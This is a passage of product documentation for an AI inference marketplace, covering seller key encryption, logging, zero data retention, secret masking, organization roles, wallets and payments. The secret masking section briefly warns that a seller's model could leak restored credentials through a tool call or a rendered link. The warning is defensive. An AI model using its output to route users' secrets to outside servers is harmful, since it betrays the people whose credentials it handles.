Routing](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing) for the full semantics. --- # /docs/marketplace/security-privacy # Security & Privacy This page states the current production behavior and the current trust assumptions. It intentionally avoids future-tense claims unless a feature exists today. ## Seller API Key Storage Seller provider API keys are encrypted before they are stored. The ciphertext lives in a private S3 bucket; offer metadata lives in DynamoDB. Current implementation: - Algorithm: AES-256-GCM under AWS KMS envelope encryption. - For each secret the server asks KMS for a fresh 256-bit data key (`GenerateDataKey`, `AES_256`), encrypts the plaintext with it, and stores the ciphertext together with the KMS-encrypted data key and a random 12-byte IV as a single envelope object in S3. - The plaintext data key exists only in memory during encrypt/decrypt and is never persisted; only its KMS-encrypted form is stored alongside the ciphertext. - The server decrypts a seller key only when it needs to call that seller's provider endpoint, run seller discovery/test-connection, or reset/check offer health. Important trust assumption: decrypting a seller key requires both the S3 ciphertext object and KMS `Decrypt` permission on the customer master key (CMK). Anyone who holds both could decrypt seller keys; today this is an operator/IAM trust boundary. Sellers should use provider-side scoped keys, spend caps, and revocation wherever their provider supports them. - **S3 object**: what an attacker might read - **Encrypted envelope**: ciphertext + a wrapped data key - **Data key**: unwrappable ONLY by KMS - a separate system, separate permission - **Your provider key**: decrypted in-worker at proxy time, then wiped The ciphertext and the key that decrypts it live in different systems. Reading the S3 object is not enough - an attacker also needs KMS decrypt permission at the moment of use. ## Offer Deletion and Seller Key Erasure `DELETE /v1/seller/offers/{id}` currently **soft-deletes** an offer by setting `active = false` and removing it from the in-memory order book. The encrypted provider API key remains in storage for that offer record. There is not yet a self-serve GDPR-style hard-delete endpoint that physically purges the encrypted key. Until hard deletion ships, the safest way for a seller to invalidate a key is to revoke or delete it at the upstream provider. If you need manual deletion of stored seller-key material, contact the operator and revoke the upstream provider key immediately. ## Seller Spend Caps and Compromise Protection Marketplace seller offers support a `cap_daily_usd` spend cap, which the router checks before selecting an offer. (Weekly and monthly caps exist only on the separate x402 resource-offer surface, not on marketplace inference offers.) Current limitations: - There is no separate marketplace-side per-hour USD ceiling today. - Public seller management endpoints have request-rate limits, but those are API-abuse controls, not a guarantee against a compromised server/operator environment. - If the marketplace server and its secrets are compromised, provider-side restrictions are the strongest protection against rapid quota drain. Recommended seller practice: create a dedicated provider API key for SI, set provider-side spend/rate limits if available, restrict models if the provider supports scopes, and revoke the key at the provider if you disable an SI offer. ## Prompt and Response Logging For synchronous text/chat inference, SI stores usage and settlement metadata, not full prompt/response content. Stored as usage and settlement records for normal inference: - buyer wallet, seller wallet, offer id, model - token counts and cost fields - settlement status, settlement error snippet, transaction hash - timestamps and media/unit metadata where applicable Not intentionally stored for normal chat/completions: - full `messages` arrays - full model responses - tool call arguments/results beyond what the upstream provider receives for the active request Caveats: - Upstream providers receive the request payload and may have their own logging/retention policies. A seller can also turn on prompt logging on their own provider account; see [What Reaches a Seller's Account](https://www.surplusintelligence.ai/docs/marketplace/security-privacy#what-reaches-a-sellers-account). - Provider error messages are stored in health logs after truncation/sanitization; they are intended for operational debugging, not prompt logging. - Async media jobs (video/music) currently store `request_json` and provider job/result metadata so jobs can be submitted, retried, polled, and deduplicated. Treat media prompts as retained operational data until a retention/purge policy is published. - **`Idempotency-Key` replay copies.** Once `Idempotency-Key` dedupe is enabled, a request to `/v1/chat/completions`, `/v1/completions`, `/v1/responses` or `/anthropic/v1/messages` (each with its `/min{N}` mirror), or to the Provider Market (`/v1/resources/{provider}/...`), that sends the header has its response kept, KMS-envelope encrypted, for 24-48 hours, so that a repeat with the same key is answered from it instead of being run and charged again. Only a request that sends the header is kept this way. The response to a secret-masked request is never kept (it holds your restored secrets), and a copy is never logged. SI doesn't store prompt or response bodies unless your workspace turns on body capture (Settings > Logging), or a request sends `Idempotency-Key` (its replay copy, above). For commercial/private workloads, also review the upstream seller/provider's policy because SI routes your request to that provider. To keep credentials you paste into a prompt out of that provider's request logs, see [Secret Masking](https://www.surplusintelligence.ai/docs/marketplace/security-privacy#secret-masking-beta) below. ## What Reaches a Seller's Account Your request goes to the provider the seller listed, using the seller's own account with that provider. The seller does not receive it from SI, but some providers let the account owner store and read requests made on their account, and some sellers run the endpoint themselves and receive your request directly. SI cannot technically stop a seller from turning provider-side logging on, so SI cannot guarantee that a seller does not log your prompts and responses. What SI does about it: - The [Acceptable Use Policy](https://www.surplusintelligence.ai/acceptable-use-policy) forbids sellers from turning on logging or trace export on the account behind their key, and from accessing, using or sharing buyer requests. - An offer is shown as zero data retention (ZDR) documented only after an SI operator reviews the provider's documentation. A seller's claim alone is never shown as documented. - [Secret masking](https://www.surplusintelligence.ai/docs/marketplace/security-privacy#secret-masking-beta) (beta) replaces credentials in a prompt before it leaves SI. - While privacy levels are in force, a request with a [privacy level](https://www.surplusintelligence.ai/docs/marketplace/privacy-levels) of Protected or stricter goes only to providers where request content is hidden from sellers, based on SI's review of each provider. If none can take it, your own provider key serves it, or it is refused. On the Provider Market, some providers keep a record of every call on the seller's account; each provider's section in [Provider Market providers](https://www.surplusintelligence.ai/docs/marketplace/provider-market-providers) says which. On ElevenLabs, SI asks ElevenLabs to delete the record with the seller's key right after you get your result. ## Secret Masking (Beta) Secret masking is an optional extra layer for prompts that may contain credentials. With it on, SI replaces the API keys, private keys, seed phrases, passwords and tokens in a request with placeholders such as `SI_SECRET_APIKEY_K7M2Q9XA` **before the request is routed**, so the seller's provider never receives the values, and puts every value back in the reply before it reaches you - everywhere but the model's reasoning. The values are never stored or logged. It is **off by default** for every account and every key. Turn it on for one request with the `X-SI-Mask-Secrets: on` header, for a key with its **Mask secrets** switch, or for the whole account with **Secret masking** on Buy › Routing. It covers the text endpoints; embeddings and media are sent as they are, marked `x-si-secret-masking: not_applied`. Putting every value back trusts the seller's model with where a value goes: - a command or tool call that sends a placeholder to the seller's own server gets the real value if your agent runs it; - a link or image carrying a placeholder sends the real value to its host when your client renders or previews it; - a password repeated on a later turn without the context that identified it goes to the seller unmasked. **[Read the secret masking guide](https://www.surplusintelligence.ai/docs/guides/secret-masking)** for how it works, how to turn each switch on and off, what is detected and what comes back, the response headers, every refusal code and the known limits. ## Seller Quality and Model Authenticity Today SI verifies that a seller endpoint is reachable, authenticates, and returns valid responses. It tracks operational health through failures, status codes, backoff, and successful recovery. What exists today: - provider domain allowlist for sellers - health/backoff on provider errors and bad keys - model-name normalization to provider-specific model ids - `trusted_provider` classification for known provider domains - public market stats such as seller count, request volume, and price What does **not** exist today: - cryptographic proof that a seller served the exact claimed model - semantic challenge-based model identity scoring - public seller reputation/quality scoring beyond health/liquidity stats - automatic detection that a seller is proxying to a cheaper hidden model **Trusted-only routing is the default.** New accounts route exclusively to providers on the trusted-domain list; untrusted providers are eligible only when the buyer opts in via the Routing preferences card on `/buy` (or per-API-key in Key Management). Quality/reputation scoring beyond trust + health is planned but should not be treated as live. **Zero data retention is opt-in, per request or per key.** A request that asks for ZDR (the `/zdr` path prefix, `X-SI-Require: data.zdr`, or a key set to "ZDR providers only") routes only to providers labelled ZDR from their published terms, and is refused rather than sent anywhere else, while ZDR routing is available (`zdr_routing_available` is `true`). Before that, don't rely on it. Labels are a reviewed reading of each provider's terms, not an audit of its systems. See [Zero Data Retention](https://www.surplusintelligence.ai/docs/marketplace/zero-data-retention). ## Charge Failure and Retry Economics For API-key requests, SI checks your balance before routing, then charges after the provider response because the final cost depends on actual usage. If that post-response charge fails it is queued and retried with exponential backoff for up to 5 attempts; if all retries fail the usage row is marked `permanently_failed`. Current limitation: there is no automatic insurance pool or hard guarantee that the seller is paid after a permanently failed charge. Manual reconciliation may be required. For x402, the buyer payment is verified and captured up front, then SI pays the selected seller. If that operator-to-seller transfer fails after the buyer payment succeeded, the operator carries the reconciliation obligation - the seller payout is only final once the seller transfer succeeds. --- # /docs/marketplace/zero-data-retention # Zero Data Retention (ZDR) When ZDR routing is available, a ZDR request is served only by a provider labelled ZDR. If no seller of the model is labelled, the request is refused with `404 zdr_unavailable` before anything is charged. It never falls back to a seller that is not labelled. ## What the label means A provider is labelled ZDR when its own published API terms say request inputs and outputs are not kept beyond processing, for every API account, with no enrolment needed, and when the account owner (the seller) has no setting that stores or exposes prompts, such as API call logging, a full-content telemetry export, project logs or inference logs. Labels are taken from the providers' published terms and reviewed by Surplus. They are not a certification, and Surplus cannot inspect a provider's systems. Each label carries the terms it rests on and the date it was last reviewed. A label whose review date is more than 180 days old is flagged to Surplus for another review. The label belongs to the provider, not to a seller: every seller of a labelled provider is ZDR-eligible, because the request goes to that provider under the seller's account. Only trusted, direct providers are labelled. Aggregators and mirrors are never labelled, because the provider that finally serves a request is chosen downstream of them. So a ZDR request is always trusted-only, whatever `allow_untrusted` says. ## Is it available? ZDR routing is available when `zdr_routing_available` is `true` on `GET /api/providers` (or on `GET /v1/buyer/preferences`). While it is `false`, ZDR is not enforced. Depending on the service, a ZDR request then either answers a retryable `503 zdr_routing_unavailable`, whatever form it takes, or is served as an ordinary request: the header and body forms are not applied and a `/zdr` URL is not a route (`404`). A key set to ZDR answers `503` in both cases. Don't rely on ZDR until `zdr_routing_available` is `true`. Which providers are labelled, with the evidence: ```bash curl -s https://api.surplusintelligence.ai/api/providers \ | jq '{zdr_routing_available, labelled: [.providers[] | select(.zdr == true) | {name, host, zdr_evidence_url, zdr_reviewed_on}]}' ``` `GET /v1/providers` marks each provider `zdr: true|false`, and each offer in a model's order book carries `zdr`. These fields are present only while ZDR routing is available. `/api/markets` carries `best_zdr_offer_discount_pct` per model and `zdr` on each provider entry only while ZDR routing is available and the market summary is published from the live provider policy; until then they are absent there. ## Asking for ZDR Four ways, and any one is enough. They combine: none can loosen another, and nothing in a request can turn off a key set to ZDR. **1. The URL.** Add a `zdr` segment before `/v1`: ```text https://api.surplusintelligence.ai/zdr/v1 ``` It stacks with a [minimum discount](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing) in either order, and works after `/anthropic` for the Messages API: | Path | Means | | -------------------------------------------------------------------- | ----------------------------------------------------- | | `/zdr/v1/chat/completions` | ZDR | | `/min30/zdr/v1/chat/completions` or `/zdr/min30/v1/chat/completions` | ZDR and at least 30% off | | `/anthropic/zdr/v1/messages` | ZDR on the Messages API | | `/zdr/v1/embeddings` | ZDR on embeddings (embeddings take no discount floor) | `zdr` must be lower-case and appear once: `/zdr/zdr/...` is `400 invalid_route_qualifier`. A combined segment such as `/min30-zdr` is not supported. `/zdr/v1/models` and `/zdr/v1/prices` answer as the plain routes, so an OpenAI SDK pointed at the `/zdr/v1` base URL works unchanged. **2. A header.** `X-SI-Require: data.zdr`. Other ids in the same header are ignored on inference. **3. The request body.** `"provider": {"zdr": true}` on `/v1/completions`, `/anthropic/v1/messages`, `/v1/responses` and `/v1/decisions`. Chat completions has no body form; use the URL or the header there. A `zdr` that is not a boolean is `400 unsupported_parameter`. **4. On a key.** `provider_trust: "zdr"` on `POST /v1/keys` or `PATCH /v1/keys/{id}`, shown as **ZDR providers only** in the dashboard. Every request on that key is ZDR. Choosing any other `provider_trust` turns it off. It can be set on buyer keys only, and only while ZDR routing is available (`400 invalid_provider_trust` otherwise). Like a trusted-only key, a ZDR key is a [restricted key](https://www.surplusintelligence.ai/docs/organizations/api-keys). ## What still applies A discount floor, a [provider pin](https://www.surplusintelligence.ai/docs/marketplace/routing-controls) and `providers_blocked` apply on top of ZDR. A pin that names no labelled provider gets `404 zdr_unavailable`. Your own priority and fallback provider keys ([BYOK](https://www.surplusintelligence.ai/docs/guides/byok-priority-provider)) are used only when their provider is labelled ZDR, and skipped otherwise. Two request fields ask a provider to keep data, so they are refused on a ZDR request with `400 zdr_conflicting_parameter` (`param` names the field): `store: true`, where the request would be sent with it, and any `prompt_cache_retention`. An `Idempotency-Key` still dedupes a ZDR request, but its answer is not kept: a repeat gets `409 idempotency_replay_unavailable`, and the same key on a non-ZDR request is `422 idempotency_key_reused`. ## Responses | Status | Code | When | | ------ | --------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- | | 404 | `zdr_unavailable` | No labelled seller of the model (within your pin). Refused before any hold, 402 challenge or charge. | | 503 | `no_healthy_sellers` | Labelled sellers exist, but none is healthy right now. Retry. | | 503 | `zdr_routing_unavailable` | ZDR routing is not available right now. Retry. | | 400 | `zdr_unsupported_endpoint` | ZDR on images, audio (speech and transcription), video or music. | | 400 | `zdr_conflicting_parameter` | `store: true` or `prompt_cache_retention` on a ZDR request. | | 400 | `invalid_route_qualifier` | `zdr` twice in the path. | | 500 | `zdr_egress_blocked` | The request was about to go to a provider not labelled ZDR. Nothing was sent and the reserve was released. Report it with the `request_id`. | A served ZDR request is marked `zdr_required` in its [request detail](https://www.surplusintelligence.ai/docs/api-reference/buyer-endpoints) (`GET /v1/requests/{requestId}`). ## Provider Market On `/v1/resources/*`, `data.zdr` keeps its trait meaning: an offer whose seller verified ZDR on their own account, and `503 trait_unavailable` when no offer does. A `/zdr` URL or a ZDR key adds `data.zdr` there too. A follow-up call on a job already bound to a seller keeps that seller. ## Example ```bash curl https://api.surplusintelligence.ai/zdr/v1/chat/completions \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -d '{"model": "", "messages": [{"role": "user", "content": "Hello"}]}' ``` --- # /docs/organizations/api-keys # API Keys and Spend Limits Members call the marketplace with **API keys** that belong to the organization (and, in a team, to the active workspace). Keys, programmatic provisioning, and spend limits all live under **API Keys** in the Buy section, with each surface gated by role. ## Buyer keys Create and manage the keys used to make inference requests. Each key can carry: - a **scope** that constrains which models, providers, or endpoints it may use, along with a provider-trust preference and an optional **minimum discount** (`min_discount_pct`, 0-100), and - an optional **spend budget** that caps how much it can spend. Managing keys requires the **key-management** permission (owner, admin, or developer). A key's restrictions hold when you hand it to someone else. A **restricted key** (one with a scope, a trusted-only or ZDR provider setting, budget, or expiry, and every team-workspace key) can make requests and read the key list, but cannot create, rename, configure, or revoke keys, or change the account's routing preferences or BYOK providers. The one exception is revoking itself. Manage keys from the dashboard, or programmatically with an admin key (below). - **Organization**: outermost cap - **Workspace**: must also have room - **Member**: and so must this - **Key**: the innermost cap A key with a generous budget inside a workspace that has run out still cannot spend. Every enclosing scope has to have room. ## Provisioning keys programmatically An **admin key** (`inf_admin_...`) can mint, scope, rotate, and revoke keys through the `/v1/keys` API, scoped to its own workspace. Every write on that API requires an `Idempotency-Key` header. An admin key holds **the full capability vocabulary** (key management, offers, usage and request-log reads, budgets, webhooks, and the rest), but it still **cannot run inference** (its key type is rejected at the inference guard, independently of any capability it holds) and **cannot mint another admin key** (only an organization owner or admin session can issue one). No money-moving route admits it either, so in practice it provisions and reads but never spends or withdraws. Provisioning a key per downstream customer is the basis of [Pattern A whitelabelling](https://www.surplusintelligence.ai/docs/getting-started/whitelabel#pattern-a-a-surplus-key-per-customer). ## Secret masking on a key (beta) A buyer or seller key can turn on [secret masking](https://www.surplusintelligence.ai/docs/guides/secret-masking) for every request made with it, an optional extra layer that replaces API keys, private keys, seed phrases, passwords and tokens in its prompts with placeholders before they are routed. It is off by default. Turn it on with the **Mask secrets** switch when you create or edit a key in the dashboard, or over the API with `mask_secrets: true` on `POST /v1/keys`, `PATCH /v1/keys/{id}` or `PUT /v1/buyer/keys/{id}/preferences`. - **Key or account.** A key is masked when its own `mask_secrets` is `true` or when the account's is (the **Secret masking** switch on Buy › Routing covers every key). A key's `false` or `null` leaves it to the account, so a key cannot opt out of an account that masks. - **Embeddings and media are sent as they are.** Masking covers the text endpoints only. A key with masking on, or any key of an account with masking on, still works on `/v1/embeddings`, image, audio, video and music endpoints and x402 resources, but those requests are not masked; while masking is running, their responses say so with `x-si-secret-masking: not_applied`. - **Takes effect within about 31 seconds** (about 70 right after masking is turned on for the service). The write that turns it on returns `secret_masking_effective_at`; until then, send `X-SI-Mask-Secrets: on` on the request. - **Management keys cannot carry it.** An admin key never runs inference, so `mask_secrets` on one, `null` included, is `400 invalid_request`. ## Budgets and spend limits Set spend-limit **budgets** at several levels: the whole organization, a workspace, an individual member, or a single key, each shown with a live spend bar. The organization-wide budget is always shown first so the overall limit is never buried. Managing budgets requires the **budgets** permission (owner, admin, or billing admin). --- # /docs/organizations/index # Organizations Organizations are how Surplus supports **teams**. On your own, you have a personal account tied to your wallet, and there is nothing to set up. When you want to work with other people, you create a **team organization**: a shared space with its own members, roles, workspaces, and wallets. ## Personal accounts and team organizations On your own you use a **personal account**, identified by your connected wallet. It holds your API keys, spend, and usage, and your wallet is its billing account. There are no members or roles to manage, and you can use Surplus fully without ever touching organizations. A **team organization** is a separate, shared space you create to work with others. It has its own name, its own members and roles, its own workspaces, and its own wallets and billing, all kept completely separate from your personal account and from every other organization. The rest of this section is about team organizations. | | Personal account | Team organization | | ----------------- | ------------------------ | ------------------------------- | | Who | Just you | You plus the members you invite | | Billing account | Your connected wallet | The organization's own account | | Members and roles | None to manage | Full member and role management | | Workspaces | A single one | As many as you need | | Setup | Automatic, nothing to do | You create it | Under the hood your personal account is represented as a personal organization so that team features can layer on cleanly, which is why the account switcher shows "Personal". As a solo user this is invisible: there is nothing to manage. **Nothing crosses between organizations** - **Personal organization**: Created for you. One workspace, nothing to manage. - **Team organization**: Its own members, workspaces, wallets, billing and audit trail. Keys, usage, spend, budgets and audit are all scoped to one organization. Switching the active org switches all of it at once - there is no shared pool. ## The active organization Once you belong to a team, one organization is **active** at a time, and it scopes what the app shows you: the members, keys, usage, wallets, and settings you see all belong to it. Use the switcher at the top of the app to move between your personal account and your team organizations. ## What a team organization holds - **Members and roles** define who has access and what they can do. See [Roles and permissions](https://www.surplusintelligence.ai/docs/organizations/roles) and [Members and invitations](https://www.surplusintelligence.ai/docs/organizations/members). - **Workspaces** are sub-spaces for separating keys, usage, and spend inside a team. See [Workspaces](https://www.surplusintelligence.ai/docs/organizations/workspaces). - **Wallets and funding** are the organization's balance, funding, and payouts. See [Wallets and funding](https://www.surplusintelligence.ai/docs/organizations/wallets). - **Analytics and observability** show the organization's spend, requests, and audit trail. See [Analytics and observability](https://www.surplusintelligence.ai/docs/organizations/observability). ## Creating a team organization Open **Settings, then Organization** and choose **New organization** (the switcher has the same option). Give it a name and you become its **owner**. From there you can rename it, invite members, add workspaces, and provision wallets. Renaming an organization requires the owner or an admin. Closing a team organization drains its balances and is a deliberate, owner-level action; it is not available in the app yet. --- # /docs/organizations/members # Members and Invitations The **Members** page (Settings, then Members) lists everyone with access to the organization, along with their role and status. From here, owners and admins invite new people, change roles, and remove members. ## Inviting a member Choose **Invite member** and: 1. **Pick a role** for the invitee. Hover any role to see what it grants, or read [Roles and permissions](https://www.surplusintelligence.ai/docs/organizations/roles). 2. Optionally enter an **email** so Surplus emails the invitation for you. 3. Choose when the invite **expires** (1, 3, 7, or 30 days). You get a one-time **invite link** and **token**. They are shown only once, so copy and share them right away. If you entered an email, the same link is emailed to that address. Inviting requires the members permission (owner or admin), and you can only invite someone at a role at or below your own. **An invite is single-use** 1. **Issued**: Link shown once 2. **Accepted**: Consumed - single use 3. **Or expired**: Issue a new one The link is shown once at creation and cannot be retrieved afterwards. If it is lost or expires, issue a new one - there is nothing to re-send. ## Accepting an invitation The invitee opens the invite link and signs in (or creates an account). They then choose **Accept invitation** and immediately join the organization with the role set on the invite. Invitations are single-use: a link stops working once it has been accepted or has expired. ## Changing a member's role Pick a new role from the member's role dropdown; the change takes effect immediately. You can only assign roles at or below your own, and only an owner can change another owner's role. See [Roles and permissions](https://www.surplusintelligence.ai/docs/organizations/roles). ## Removing a member Choose **Remove** next to a member and confirm. They lose access to the organization right away. Removing requires the members permission. The **last owner cannot be removed**, and only an owner can remove another owner. --- # /docs/organizations/observability # Analytics and Observability An organization's activity is visible under **Observability**. What you can see depends on your role. ## What you can see - **Spend and savings** show the organization's spend rollup, a spend explorer, and estimated savings. Available to the roles with organization-wide finance access: owner, admin, billing admin, and analyst. - **Request logs** list individual requests. Available to owner, admin, developer, and analyst. Turning on request-body capture is a separate, privacy-sensitive setting limited to owners and admins. - **The audit log** records sensitive organization actions, such as keys created, revoked, or rotated, members added, removed, or re-roled, and webhooks changed. Available to owner, admin, billing admin, and analyst. - **Webhooks** deliver signed event notifications, managed by owners and admins. Every member can always see **their own usage**, whatever their role. --- # /docs/organizations/roles # Roles and Permissions Every member of an organization has exactly one **role**. The role decides what that member can see and do. Surplus enforces every role on the backend, so a member can only ever do what their role permits. ## The roles at a glance | Role | What it is for | | ----------------- | --------------------------------------------------------------------------------------------------------------------------- | | **Owner** | Full access to everything, including billing. | | **Admin** | Runs the organization day to day: members, workspaces, keys, offers, and settings. Cannot manage billing or withdraw money. | | **Billing admin** | Owns the money: billing, wallets, budgets, and payouts (including withdrawals). Does not manage keys or members. | | **Developer** | Builds and spends: API keys, offers, and spending. Cannot see the organization's bill. | | **Analyst** | Read-only across usage, audit, finance, and request logs. Cannot spend or change anything. | | **Member** | Spends from credit and views their own usage. | | **Viewer** | Views their own usage only. | Hovering any role in the assign or invite dropdowns shows this summary inline. | Can they… | Owner | Admin | Billing | Developer | Analyst | Member | Viewer | | ------------------------------------- | :---: | :---: | :-----: | :-------: | :-----: | :-------------------: | :----: | | Invite / remove members, assign roles | Yes | Yes | No | No | No | No | No | | Create / archive workspaces | Yes | Yes | No | No | No | No | No | | Create, rotate and revoke API keys | Yes | Yes | No | Yes | No | No | No | | Manage seller offers and credentials | Yes | Yes | No | Yes | No | No | No | | Spend on inference | Yes | Yes | No | Yes | No | Partial (credit only) | No | | Manage billing (cards, invoices) | Yes | No | Yes | No | No | No | No | | Register and manage wallets | Yes | Yes | Yes | No | No | No | No | | Set budgets | Yes | Yes | Yes | No | No | No | No | | Withdraw payouts | Yes | No | Yes | No | No | No | No | | Read the payout ledger | Yes | Yes | Yes | No | Yes | No | No | | Read the workspace spend rollup | Yes | Yes | Yes | No | Yes | No | No | | Read the audit log | Yes | Yes | Yes | No | Yes | No | No | | Read request logs | Yes | Yes | No | Yes | Yes | No | No | | Turn on request-body capture | Yes | Yes | No | No | No | No | No | | Manage outbound webhooks | Yes | Yes | No | No | No | No | No | | Read own usage | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Read down a column for what a role gets, across a row for who holds a power. Two rows catch people out: an Admin runs the org but cannot touch billing or withdraw payouts, and an Analyst can reconcile payouts without being able to move one. ## What each role can and cannot do ### Owner Everything. An owner can manage members and roles, workspaces, keys, offers, wallets, billing, budgets, and payouts (including withdrawals), and can read all usage, finance, audit, and request-log data. An owner is the only role that can change or remove another owner, or grant the owner role. ### Admin - **Can:** manage members and roles; create and archive workspaces; manage API keys; manage offers and rotate seller credentials; manage wallets and budgets; configure payouts; spend; and read all usage, finance, audit, and request logs (including turning request-body capture on). - **Cannot:** manage billing, or withdraw payouts. ### Billing admin - **Can:** manage billing; manage wallets; manage budgets; configure payouts and **withdraw** them; and read usage, finance, audit, and payout data. - **Cannot:** manage API keys, members, workspaces, or offers, and cannot spend. ### Developer - **Can:** spend from credit and on-chain; create and manage API keys; manage offers and rotate seller credentials; and read request logs and their own usage. - **Cannot:** see the organization's bill or org-wide finance, and cannot turn on request-body capture. ### Analyst - **Can:** read usage, audit logs, finance, request logs, and payout position. - **Cannot:** spend, move money, or change any setting. It is strictly read-only. ### Member - **Can:** spend from credit and view their own usage. - **Cannot:** manage anything, and cannot see org-wide finance. ### Viewer - **Can:** view their own usage. - **Cannot:** spend or change anything. ## How roles are assigned - **You can only assign roles at or below your own.** You cannot grant a role that carries a permission you do not hold yourself. In practice, only an owner can create another owner. - **Only an owner can change or remove another owner.** - **The last owner is protected.** An organization must always have at least one owner, so the last owner cannot be removed or demoted. Change a member's role any time from **Settings, then Members**. See [Members and invitations](https://www.surplusintelligence.ai/docs/organizations/members). ## Workspace roles The table above is the **organization** role. A member can also hold a narrower **workspace** role (`developer`, `analyst`, `member`, `viewer`) on an individual workspace. Their effective permissions are the **union** of the two, de-duplicated - a workspace role adds, it never subtracts. One deliberate asymmetry: a workspace `analyst` does **not** get the audit log, even though an org `analyst` does. The audit log is org-scoped, so no workspace-level role can grant it. --- # /docs/organizations/wallets # Wallets and Funding Every organization funds its spending and receives its earnings through **wallets**. A personal organization uses your connected wallet. A team organization registers one or more of its own wallets, managed under **Settings, then Wallets**. ## Registering a wallet Register an **external** wallet by its address (a validated `0x` address). Each wallet is registered with a **role**: | `wallet_role` | Used for | | ------------- | ---------------------------------------------- | | `payout` | Receiving the organization's seller earnings | | `spend` | Funding the organization's own inference spend | | `both` | Either | > **Managed wallets are not available.** The API accepts the concept, but provisioning one currently returns > `503 privy_server_wallets_not_configured` - register an external wallet instead. One wallet is marked the **default payout** target, which is where the organization's seller earnings are sent. Setting `default_payout` requires the **payout-configuration** permission, and it is refused on a `spend`-role wallet (`invalid_default_payout_role`) - only a `payout` or `both` wallet can receive earnings. Viewing and registering wallets requires the **wallet-management** permission (owner, admin, or billing admin). Without it, the Wallets page shows a restricted state. **Which wallet can receive earnings** - wallet\_role: payout (eligible as default payout) - wallet\_role: both (eligible as default payout) - wallet\_role: spend (refused - invalid\_default\_payout\_role) Only a payout or both wallet can be the default payout target. Marking a spend wallet as default payout is refused - the funding treasury is not where earnings should land. ## Funding and settlement Funding and spending work the same as for any account. See the [Payments](https://www.surplusintelligence.ai/docs/payments/index) docs for deposited USDC credits and fiat credits. ## Payouts For sellers, earnings accrue to the organization and are paid to its default payout wallet. **Configuring** payouts is available to owners, admins, and billing admins; **withdrawing** payouts is limited to owners and billing admins. See [Roles and permissions](https://www.surplusintelligence.ai/docs/organizations/roles). --- # /docs/organizations/workspaces # Workspaces A **workspace** is a sub-space inside a team organization. Workspaces let a team separate its API keys, usage, and spend into groups, for example one workspace per project, team, or environment (such as staging and production). Every organization has a **default workspace**. Team organizations can add more; **personal organizations always have exactly one** workspace and cannot add others. ## The active workspace As with organizations, one workspace is **active** at a time inside a team organization, and it scopes what you see. On the analytics and activity dashboards you can switch between **this workspace** and **all workspaces** (the organization-wide rollup). The rollup view is available to the roles that can read organization-wide data: owner, admin, billing admin, and analyst. **Two scopes over the same data** - **This workspace**: Keys, usage, request logs, budgets. What a developer sees. - **All workspaces**: The organization-wide rollup. Needs the finance read permission. Most reads are scoped to the active workspace. The org-wide rollup is a separate, permission-gated view - which is why a developer sees their workspace's spend but not the organization's bill. ## Managing workspaces Go to **Settings, then Workspaces**. Depending on your role you can: - **Create** a workspace and name it. Requires an owner or admin. - **Rename** a workspace. - **Archive** a workspace you no longer use. The **default workspace cannot be archived**. Archived workspaces are shown muted and offer no further actions. Creating and renaming require the workspaces permission; archiving requires the workspace-delete permission (owner or admin). --- # /docs/payments/fiat # Fiat Onramps Surplus Intelligence supports fiat-to-USDC wallet funding through buyer dashboard onramps. USDC lands in the buyer's Base wallet, which you then **deposit** to get [spendable USDC credits](https://www.surplusintelligence.ai/docs/payments/prefunded-usdc). Settling straight from a wallet approval is no longer offered: the two ways to spend are prepaid credit and deposited USDC. > **Two different things live on this page.** An **onramp** (MoonPay, Peer/ZKP2P, a manual transfer) converts fiat to USDC in *your own wallet* - you then deposit it to get [withdrawable USDC credits](https://www.surplusintelligence.ai/docs/payments/prefunded-usdc). A **Stripe card top-up** is not an onramp: it credits a balance directly, which is spendable but **never withdrawable**. ## Live Funding Options - Card top-up (Stripe) - fund your balance directly with a card via `POST /v1/payments/topup`; check it with `GET /v1/payments/balance` - Peer / ZKP2P - Venmo, Revolut, Cash App, PayPal, Wise, Zelle - MoonPay via Privy - card, Apple Pay, Google Pay - Manual Base USDC transfer to the buyer wallet **The fork on this page** - **Onramp → your own wallet**: MoonPay, Peer/ZKP2P, manual transfer. USDC you custody and can withdraw. - **Card top-up → internal ledger**: Stripe. Spendable credit that can never be withdrawn. Both start with fiat and end with you able to spend - but only one leaves you holding withdrawable funds. ## How It Works 1. Sign in and open the buyer funding flow. 2. Either top up your balance with a card via `POST /v1/payments/topup` (Stripe), choose an onramp, or copy your wallet address for a direct Base USDC transfer. 3. Fund the wallet with USDC on Base (onramp/transfer paths). 4. Approve marketplace spend. 5. Use your Surplus API key or x402-compatible client. Each request is charged to you as it completes; seller earnings accrue per request and are paid out to sellers in batched USDC transfers on Base. ## Enterprise Card Billing For card-funded balances, Stripe top-up (`POST /v1/payments/topup`) credits your account and `GET /v1/payments/balance` reports the current balance. **Stripe invoice generation is live**, with the Stripe processing fee passed through on the invoice. Onramps remain the cheaper route for pure wallet funding, since they deliver Base USDC without a card-processing leg. Card top-ups may also trigger a **3-D Secure challenge** - your bank asking you to confirm the payment. That is expected on this rail; complete the challenge and the top-up proceeds. --- # /docs/payments/index # Payment Options Two ways to fund an account, and one way to pay without having one. | Method | Best for | How you are charged | Withdrawable | | -------------------------- | --------------------------------------------- | --------------------------------------- | ------------------------------ | | **Deposited USDC credits** | Credit-style spending without stranding funds | Prepaid balance, drawn down per request | **Yes** | | **Fiat credits (Stripe)** | Teams who want a card on file | Prepaid balance, drawn down per request | **No - spend only** | | **x402** | Autonomous agents with no account | Per request, at the moment of the call | n/a - you never fund a balance | - **Deposited USDC credits**: You send USDC once. Spendable, and you can withdraw whatever you do not use. - **Fiat credits**: Bought with a card. Spendable, but it can never leave - so it is spent first. The two funded balances add up to a single spendable number, but they are not interchangeable underneath. Fiat credit can never be withdrawn and deposited USDC can, which is why fiat is always spent first - spending the non-withdrawable money first preserves the money you can still get back. **Which one do you want?** 1. **No account**: x402 - the 402 challenge is the whole signup 2. **Funded, withdrawable**: Deposited USDC credits 3. **Funded, card on file**: Fiat credits via Stripe The first question is whether you want an account at all. If you do, the second is whether the money needs to be able to leave again. - [Deposited USDC & Withdrawals](https://www.surplusintelligence.ai/docs/payments/prefunded-usdc) - deposit USDC, spend it like credit, withdraw the remainder - [Fiat Payments](https://www.surplusintelligence.ai/docs/payments/fiat) - card top-ups through Stripe - [x402 